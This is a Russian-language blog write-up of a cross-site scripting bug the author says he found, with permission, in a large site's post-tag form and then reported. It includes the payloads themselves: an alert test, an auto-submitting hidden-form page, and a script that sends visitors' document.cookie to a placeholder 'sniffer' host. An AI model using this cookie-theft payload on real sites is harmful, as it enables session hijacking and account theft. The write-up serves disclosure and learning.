Вторую часть заголовка я взял из статьи вики. Забавно звучит.
Легкое чтиво, веселого проникновения. Я хотел уже запостить котиков на страничке, нажал кнопку предпросмотр, увидел погрузку контента и мой браузер на пол секунды повис, развернув чуть ниже кнопки «добавить», «мой будущий пост». Я нажал добавить, и мне сообщили, что я должен написать минимум два тега к посту. Я набрал «милые котики» — чуть ниже снова появился блок, в котором можно было подобрать популярные теги. Я решил, что это очень хорошо и такой скрипт мне нужен для коллекции. Не долго думая, я выдрал из страницы javascript, открыл и увидел комментарии к коду на родном русском.
Было очень скучно, и я решил провести маленький взлом с разрешения администрации, для того чтобы проверить свои силы, знание языков и спецификаций. Всё исследование заняло у меня 2 дня, по 3-4 часа в день.
Я решил проверить формы и попробовать что-то сломать, увидеть ошибку или что-то еще. Они были достаточно хорошо защищены: ни намека на sql или что-то такое ужасное. Ошибок не было совсем, о чем я и написал администратору.
После, проверяя наш js файл, я увидел, что несколько переменных совсем не фильтруются на стороне клиента, и можно на странице выполнить любой код, который я вставлю в форму. Первым же делом я вставил классический.
<script>alert(1)</script>
С небес опустилось окошко. Оно гласило, что все в этом мире равно 1.
Естественно, в форму сразу полетели теги, всякие скрипты. Сразу скажу, что это ни к чему не привело. Значит мы имеем простую xss. Не будем расстраиваться — нам этого хватит с головой.
Я вставил в форму
<script>window.eval = function(code){console.log(code)}</script>
Почитав ошибки в браузере, я вставил в форму <iframe увидел окно чужого сайта, проверив поле referral, увидел наш домен, значит, если в проверке запросов на сервер они проверяют referral на свой и не свой, мы уже можем притвориться нашим сайтом и отправить любой запрос, и нам ответят.
На странице, которую я взламывал могут находиться только авторизированные пользователи, а мы можем представляться в запросе самим сайтом, просто введя в форму любой код.
Дальше я приведу уже вредоносный код, который будет посылать нам куки пользователя, он мной кастомизирован, чтобы меня сильно не ругали. Основной кусок кода, который скрывает мои действия на странице я приводить не буду, покажу сам взлом.
1) Создаем страницу в той же кодировке, что и атакуемая.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<!-- наш код -->
</body>
</html>
Я думаю с этим может справиться практически любой.
2) В мы должны создать форму, которая будет посылать наш запрос из браузера жертвы
<iframe src="#страница для взлома" method="post"></iframe>
<form action="#страница для взлома" method="POST">
<input type="hidden" name="#имя формы через которую проводиться xss." value="Вредоносный код"/>
</form>
3) Ну и после загрузки страницы посылаем все данные в форму.
<script> window.onload = function() {document.forms[0].submit()} </script>
А вот и наш хакерский код, он обсуждался не раз
4) И запустим его
<script>document.write(url);</script>
Осталось передать правильно код на другой домен. Я воспользовался функцией urlencode();. На странице описания функции так и написано: «Эта функция удобна, когда закодированная строка будет использоваться в запросе, как часть URL, также это удобный способ для передачи переменных другим страницам.»
Ну вот и все, заливаем это все на сервер.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<?php
$txt1 = "var url='<img src=#cнифер?cookie='+document.cookie+'>';";
$txt2 = "<script>document.write(url);</script>";
$txt11 = urlencode($txt1);
$txt22 = urlencode($txt2);
?>
<iframe src="#страница для взлома" method="post"></iframe>
<form action="#страница для взлома" method="POST">
<input type="hidden" name="story_tags" value=" <script><?php echo $txt11 ;?></script> , <script><?php echo $txt22 ;?></script>"/>
</form>
<script> window.onload = function() {document.forms[0].submit()} </script>
</body>
</html>
На самом деле, это маленькая уязвимость, с помощью которой можно украсть большое количество аккаунтов или куки админа. Скажу сразу, сайт очень большой и популярный. Мне сказали спасибо и закрыли уязвимость простым . Ну, при определенных обстоятельствах и знаниях, нам даже это не помешает сломать эту форму.
Если вам понравиться, я буду писать еще. Спасибо за внимание.
p.s. Не ругать за криворукость.
Автор: top13